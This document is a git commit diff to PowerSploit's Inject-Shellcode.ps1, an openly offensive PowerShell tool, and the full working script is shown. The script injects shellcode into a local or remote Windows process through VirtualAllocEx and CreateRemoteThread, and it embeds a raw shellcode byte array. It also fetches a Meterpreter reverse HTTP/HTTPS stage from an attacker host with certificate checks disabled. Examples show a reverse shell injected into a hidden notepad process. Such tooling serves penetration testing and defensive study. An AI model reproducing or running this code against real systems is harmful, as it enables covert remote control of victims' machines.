From c7fa3390128cfc3e5a3ad74c62970c3ee0f9fd5c Mon Sep 17 00:00:00 2001 From: bitform Date: Mon, 20 Aug 2012 20:14:01 -0400 Subject: Updated Inject-Shellcode and style guide New Features/Changes: - Dramatically simplified parameters. Removed redundancies and named parameter sets more appropriately - Added 'Shellcode' parameter. Now, you can optionally specify shellcode as a byte array rather than having to copy and paste shellcode into the $Shellcode32 and/or $Shellcode64 variables - Added 'Payload' parameter. Naming is now consistant with Metasploit payloads. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. - Inject-Shellcode will now prompt the user to continue the 'dangerous' action unless the -Force switch is provided. Hopefully, this will prevent some people from carrying out stupid/regrettable actions. - Added the 'ListMetasploitPayloads' switch to display the Metasploit payloads supported by Inject-Shellcode Bug fixes/Miscellaneous: - Added UserAgent parameter to help documentation - Code is much more readable now - Changed internal helper functions to 'local' scope - Now using proper error handling versus Write-Warning statements - Added a subtle warning to the built-in shellcode... --- Inject-Shellcode.ps1 | 592 +++++++++++++++++++++++++++++++++++---------------- 1 file changed, 406 insertions(+), 186 deletions(-) (limited to 'Inject-Shellcode.ps1') diff --git a/Inject-Shellcode.ps1 b/Inject-Shellcode.ps1 index ca727ef..79b886b 100644 --- a/Inject-Shellcode.ps1 +++ b/Inject-Shellcode.ps1 @@ -1,157 +1,226 @@ -function Inject-Shellcode { - +function Inject-Shellcode +{ <# -.Synopsis +.SYNOPSIS - PowerSploit Module - Inject-Shellcode - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - -.Description + Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. - Inject-Shellcode injects shellcode into the process ID of your choosing or within PowerShell locally. + PowerSploit Module - Inject-Shellcode + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause - Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre +.DESCRIPTION - PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your - shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): + Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre - msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- + PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): - Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. - It's entirely unnecessary. - -.Parameter ProcessID + msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- - Process ID of the process you want to inject shellcode into. + Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. -.Parameter Remote +.PARAMETER ProcessID - Indicates that you want to inject into a remote process. - -.Parameter Local + Process ID of the process you want to inject shellcode into. + +.PARAMETER Shellcode - Indicates that you want to inject within PowerShell. - -.Parameter Meterpreter_Reverse_Http - - Establish a reverse meterpreter shell over HTTP. Note: This will only work in 32-bit PowerShell. - -.Parameter Meterpreter_Reverse_Https - - Establish a reverse meterpreter shell over HTTPS. Note: This will only work in 32-bit PowerShell. - -.Parameter Lhost + Specifies an optional shellcode passed in as a byte array + +.PARAMETER ListMetasploitPayloads - Specifies the IP address of the attack machine waiting to receive the reverse shell - -.Parameter Lport - - Specifies the port of the attack machine waiting to receive the reverse shell - -.Example + Lists all of the available Metasploit payloads that Inject-Shellcode supports - PS> Inject-Shellcode -Remote 4274 - - Description - ----------- - Inject shellcode into process ID 4274. - -.Example +.PARAMETER Lhost - PS> Inject-Shellcode -Local - - Description - ----------- - Inject shellcode into the running instance of PowerShell. - -.Example - - PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden - PS> $Proc = Get-Process notepad - PS> Inject-Shellcode -Remote -ProcessId $Proc.Id -Meterpreter_Reverse_Https -Lhost 192.168.30.129 -Lport 443 -Verbose - VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM - VERBOSE: Injecting shellcode into PID: 4004 - VERBOSE: Injecting into a Wow64 process. - VERBOSE: Using 32-bit shellcode. - VERBOSE: Shellcode memory reserved at 0x03BE0000 - VERBOSE: Emitting 32-bit assembly call stub. - VERBOSE: Thread call stub memory reserved at 0x001B0000 - VERBOSE: Shellcode injection complete! - - Description - ----------- - Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up - with the following options: - - Payload options (windows/meterpreter/reverse_https): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - EXITFUNC thread yes Exit technique: seh, thread, process, none - LHOST 192.168.30.129 yes The local listener hostname - LPORT 443 yes The local listener port - -.Example - - PS> Inject-Shellcode -Local -Meterpreter_Reverse_Http -Lhost 192.168.30.129 -Lport 80 - - Description - ----------- - Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up - with the following options: + Specifies the IP address of the attack machine waiting to receive the reverse shell + +.PARAMETER Lport - Payload options (windows/meterpreter/reverse_http): + Specifies the port of the attack machine waiting to receive the reverse shell + +.PARAMETER Payload - Name Current Setting Required Description - ---- --------------- -------- ----------- - EXITFUNC thread yes Exit technique: seh, thread, process, none - LHOST 192.168.30.129 yes The local listener hostname - LPORT 80 yes The local listener port - -.Notes + Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. - Use the '-Verbose' option to print detailed information. - - Place your generated shellcode in $Shellcode32 and $Shellcode64 variables. - -.Link +.PARAMETER UserAgent + + Optionally specifies the user agent to use when using meterpreter http or https payloads + +.PARAMETER Force + + Injects shellcode without prompting for confirmation. By default, Inject-Shellcode prompts for confirmation before performing any malicious act. + +.EXAMPLE + + C:\PS> Inject-Shellcode -ProcessId 4274 + + Description + ----------- + Inject shellcode into process ID 4274. + +.EXAMPLE + + C:\PS> Inject-Shellcode + + Description + ----------- + Inject shellcode into the running instance of PowerShell. + +.EXAMPLE + + C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden + C:\PS> $Proc = Get-Process notepad + C:\PS> Inject-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose + + VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM + VERBOSE: Injecting shellcode into PID: 4004 + VERBOSE: Injecting into a Wow64 process. + VERBOSE: Using 32-bit shellcode. + VERBOSE: Shellcode memory reserved at 0x03BE0000 + VERBOSE: Emitting 32-bit assembly call stub. + VERBOSE: Thread call stub memory reserved at 0x001B0000 + VERBOSE: Shellcode injection complete! + + Description + ----------- + Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up + with the following options: + + Payload options (windows/meterpreter/reverse_https): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC thread yes Exit technique: seh, thread, process, none + LHOST 192.168.30.129 yes The local listener hostname + LPORT 443 yes The local listener port + +.EXAMPLE + + C:\PS> Inject-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80 - My blog: http://www.exploit-monday.com - Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ + Description + ----------- + Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up + with the following options: + + Payload options (windows/meterpreter/reverse_http): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC thread yes Exit technique: seh, thread, process, none + LHOST 192.168.30.129 yes The local listener hostname + LPORT 80 yes The local listener port + +.EXAMPLE + + C:\PS> Inject-Shellcode -Shellcode @(0x90,0x90,0xC3) + + Description + ----------- + Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) + Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! + +.EXAMPLE + + C:\PS> Inject-Shellcode -ListMetasploitPayloads + + Payloads + -------- + windows/meterpreter/reverse_http + windows/meterpreter/reverse_https + +.NOTES + + Use the '-Verbose' option to print detailed information. + + Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter + + Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ + +.LINK + + http://www.exploit-monday.com #> -[CmdletBinding(DefaultParameterSetName = '1')] Param ( - [Parameter(Position = 0)] [String] $ProcessID, - [Parameter()] [Switch] $Remote = $false, - [Parameter()] [Switch] $Local = $true, - [Parameter(Mandatory = $True, ParameterSetName = '2')] [Switch] $Meterpreter_Reverse_Http, - [Parameter(Mandatory = $True, ParameterSetName = '3')] [Switch] $Meterpreter_Reverse_Https, - [Parameter(Mandatory = $True, ParameterSetName = '2')] - [Parameter(Mandatory = $True, ParameterSetName = '3')] [Int] $Lport = 8443, - [Parameter(Mandatory = $True, ParameterSetName = '2')] - [Parameter(Mandatory = $True, ParameterSetName = '3')] [String] $Lhost = '127.0.0.1', # Defaults to localhost in case a mistake is made - [Parameter(ParameterSetName = '2')] - [Parameter(ParameterSetName = '3')] [String] $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)' +[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( + [ValidateNotNullOrEmpty()] + [UInt16] + $ProcessID, + + [Parameter( ParameterSetName = 'RunLocal' )] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Shellcode, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateSet( 'windows/meterpreter/reverse_http', + 'windows/meterpreter/reverse_https', + IgnoreCase = $True )] + [String] + $Payload = 'windows/meterpreter/reverse_http', + + [Parameter( ParameterSetName = 'ListPayloads' )] + [Switch] + $ListMetasploitPayloads, + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateNotNullOrEmpty()] + [String] + $Lhost = '127.0.0.1', + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateRange( 1,65535 )] + [Int] + $Lport = 8443, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [String] + $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', + + [Switch] + $Force = $False ) - if ($Remote -and !$ProcessID) { - Write-Warning "You must specify a process ID!" - return + Set-StrictMode -Version 2.0 + + # List all available Metasploit payloads and exit the function + if ($PsCmdlet.ParameterSetName -eq 'ListPayloads') + { + $AvailablePayloads = (Get-Command Inject-Shellcode).Parameters['Payload'].Attributes | + Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]} + + foreach ($Payload in $AvailablePayloads.ValidValues) + { + New-Object PSObject -Property @{ Payloads = $Payload } + } + + Return } - try { + if ( $PSBoundParameters['ProcessID'] ) + { + # Ensure a valid process ID was provided + # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null - } catch [System.Management.Automation.ActionPreferenceStopException] { - Write-Warning "Process does not exist!" - return } - function Get-DelegateType + function Local:Get-DelegateType { - Param ( - [Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters, - [Parameter(Position = 1)] [Type] $ReturnType = [Void] + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain @@ -163,14 +232,23 @@ function Inject-Shellcode { $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') - return $TypeBuilder.CreateType() + + Write-Output $TypeBuilder.CreateType() } - function Get-ProcAddress + function Local:Get-ProcAddress { - Param ( - [Parameter(Position = 0, Mandatory = $True)] [String] $Module, - [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure ) # Get a reference to System.dll in the GAC @@ -184,24 +262,29 @@ function Inject-Shellcode { $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + # Return the address of the function - return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } - function Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) { - + # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload + function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) + { $IntSizePtr = $Architecture / 8 - function ConvertTo-LittleEndian ([IntPtr] $Address) { + function Local:ConvertTo-LittleEndian ([IntPtr] $Address) + { $LittleEndianByteArray = New-Object Byte[](0) $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } [System.Array]::Reverse($LittleEndianByteArray) - return $LittleEndianByteArray + + Write-Output $LittleEndianByteArray } $CallStub = New-Object Byte[](0) - if ($IntSizePtr -eq 8) { + if ($IntSizePtr -eq 8) + { [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode $CallStub += 0xFF,0xD0 # CALL RAX @@ -209,7 +292,9 @@ function Inject-Shellcode { $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread $CallStub += 0xFF,0xD0 # CALL RAX - } else { + } + else + { [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode $CallStub += 0xFF,0xD0 # CALL EAX @@ -219,15 +304,18 @@ function Inject-Shellcode { $CallStub += 0xFF,0xD0 # CALL EAX } - return $CallStub + Write-Output $CallStub } - function Inject-RemoteShellcode ([Int] $ProcessID) + function Local:Inject-RemoteShellcode ([Int] $ProcessID) { - # Open a handle to the process you want to inject into $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) - if (!$hProcess) { Write-Warning 'Unable to open process handle.'; return } + + if (!$hProcess) + { + Throw "Unable to open a process handle for PID: $ProcessID" + } $IsWow64 = $false @@ -235,26 +323,52 @@ function Inject-Shellcode { { # Determine is the process specified is 32 or 64 bit $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null - if ((!$IsWow64) -and $PowerShell32bit) { - Write-Warning 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'; return - } elseif ($IsWow64){ - if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return } + + if ((!$IsWow64) -and $PowerShell32bit) + { + Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' + } + elseif ($IsWow64) # 32-bit Wow64 process + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + $Shellcode = $Shellcode32 Write-Verbose 'Injecting into a Wow64 process.' Write-Verbose 'Using 32-bit shellcode.' - } else { - if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return } - Write-Verbose 'Using 64-bit shellcode.' + } + else # 64-bit process + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + } + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' } - } else { - if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return } + } + else # 32-bit CPU + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' } # Reserve and commit enough memory in remote process to hold the shellcode $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate shellcode memory in remote process.'; return } + + if (!$RemoteMemAddr) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" # Copy shellcode into the previously allocated memory @@ -263,19 +377,29 @@ function Inject-Shellcode { # Get address of ExitThread function $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread - if ($IsWow64) { + if ($IsWow64) + { # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 + Write-Verbose 'Emitting 32-bit assembly call stub.' - } else { + } + else + { # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 + Write-Verbose 'Emitting 64-bit assembly call stub.' } # Allocate inline assembly stub $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) - if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate thread call stub memory in remote process.'; return } + + if (!$RemoteStubAddr) + { + Throw "Unable to allocate thread call stub memory in PID: $ProcessID" + } + Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" # Write 32-bit assembly stub to remote process memory space @@ -283,7 +407,11 @@ function Inject-Shellcode { # Execute shellcode as a remote thread $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) - if (!$ThreadHandle) { Write-Warning 'Unable to launch remote thread.'; return } # Error launching thread + + if (!$ThreadHandle) + { + Throw "Unable to launch remote thread in PID: $ProcessID" + } # Close process handle $CloseHandle.Invoke($hProcess) | Out-Null @@ -291,21 +419,37 @@ function Inject-Shellcode { Write-Verbose 'Shellcode injection complete!' } - function Inject-LocalShellcode + function Local:Inject-LocalShellcode { if ($PowerShell32bit) { - if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return } + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + return + } + $Shellcode = $Shellcode32 Write-Verbose 'Using 32-bit shellcode.' - } else { - if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return } + } + else + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + return + } + $Shellcode = $Shellcode64 Write-Verbose 'Using 64-bit shellcode.' } # Allocate RWX memory for the shellcode $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - if (!$BaseAddress) { Write-Warning 'Unable to allocate shellcode memory.'; return } + if (!$BaseAddress) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" # Copy shellcode to RWX buffer @@ -314,17 +458,26 @@ function Inject-Shellcode { # Get address of ExitThread function $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread - if ($PowerShell32bit) { + if ($PowerShell32bit) + { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 - Write-Verbose 'Emitting 32-bit shellcode.' - } else { + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 - Write-Verbose 'Emitting 64-bit shellcode.' + + Write-Verbose 'Emitting 64-bit assembly call stub.' } # Allocate RWX memory for the thread call stub $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - if (!$BaseAddress) { Write-Warning 'Unable to allocate thread call stub memory.'; return } + if (!$CallStubAddress) + { + Throw "Unable to allocate thread call stub." + } + Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" # Copy call stub to RWX buffer @@ -332,7 +485,10 @@ function Inject-Shellcode { # Launch shellcode in it's own thread $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) - if (!$ThreadHandle) { Write-Warning 'Unable to launch thread.'; return } # Error launching thread + if (!$ThreadHandle) + { + Throw "Unable to launch thread." + } # Wait for shellcode thread to terminate $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null @@ -342,41 +498,92 @@ function Inject-Shellcode { Write-Verbose 'Shellcode injection complete!' } - - $64bitCPU = $true + # A valid pointer to IsWow64Process will be returned if CPU is 64-bit $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process - if ($IsWow64ProcessAddr) { + if ($IsWow64ProcessAddr) + { $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) - } else { + + $64bitCPU = $true + } + else + { $64bitCPU = $false } - if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false } + if ([IntPtr]::Size -eq 4) + { + $PowerShell32bit = $true + } + else + { + $PowerShell32bit = $false + } - if ($Meterpreter_Reverse_Http -or $Meterpreter_Reverse_Https) { + if ($PsCmdlet.ParameterSetName -eq 'Metasploit') + { if (!$PowerShell32bit) { - Write-Warning 'The meterpreter reverse http payload is only compatible with 32-bit PowerShell' - return + Throw 'The meterpreter reverse http payload is only compatible with 32-bit PowerShell' + } + + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", + "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } + + if ( !$Response ) + { + # User opted not to carry out download of Metasploit payload. Exit function + Return + } + + switch ($Payload) + { + 'windows/meterpreter/reverse_http' + { + $SSL = '' + } + + 'windows/meterpreter/reverse_https' + { + $SSL = 's' + # Accept invalid certificates + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } + } } # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh? - if ($Meterpreter_Reverse_Https) { $SSL = 's'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } } $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" Write-Verbose "Requesting meterpreter payload from $Request" + $Uri = New-Object Uri($Request) $WebClient = New-Object System.Net.WebClient $WebClient.Headers.Add('user-agent', "$UserAgent") - try { + + try + { [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) - [Byte[]] $Shellcode64 = $Shellcode32 - } catch { - Write-Warning "Unable to connect to $Request" - return } - } else { + catch + { + Throw "$($Error[0].Exception.InnerException.InnerException.Message)" + } + [Byte[]] $Shellcode64 = $Shellcode32 + + } + elseif ($PSBoundParameters['Shellcode']) + { + # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets + # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. + [Byte[]] $Shellcode32 = $Shellcode + [Byte[]] $Shellcode64 = $Shellcode32 + } + else + { # Pop a calc... or whatever shellcode you decide to place in here + # I sincerely hope you trust that this shellcode actually pops a calc... # Insert your shellcode here in the for 0xXX,0xXX,... # 32-bit payload # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread @@ -415,7 +622,9 @@ function Inject-Shellcode { 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) } - if ($Remote) { + if ( $PSBoundParameters['ProcessID'] ) + { + # Inject shellcode into the specified process ID $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) @@ -433,9 +642,16 @@ function Inject-Shellcode { $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) Write-Verbose "Injecting shellcode into PID: $ProcessId" - Inject-RemoteShellcode $ProcessId - } else { + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) + { + Inject-RemoteShellcode $ProcessId + } + } + else + { + # Inject shellcode into the currently running PowerShell process $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) @@ -450,8 +666,12 @@ function Inject-Shellcode { $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) Write-Verbose "Injecting shellcode into PowerShell" - Inject-LocalShellcode + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode into the running PowerShell process!" ) ) + { + Inject-LocalShellcode + } } } -- cgit v1.2.3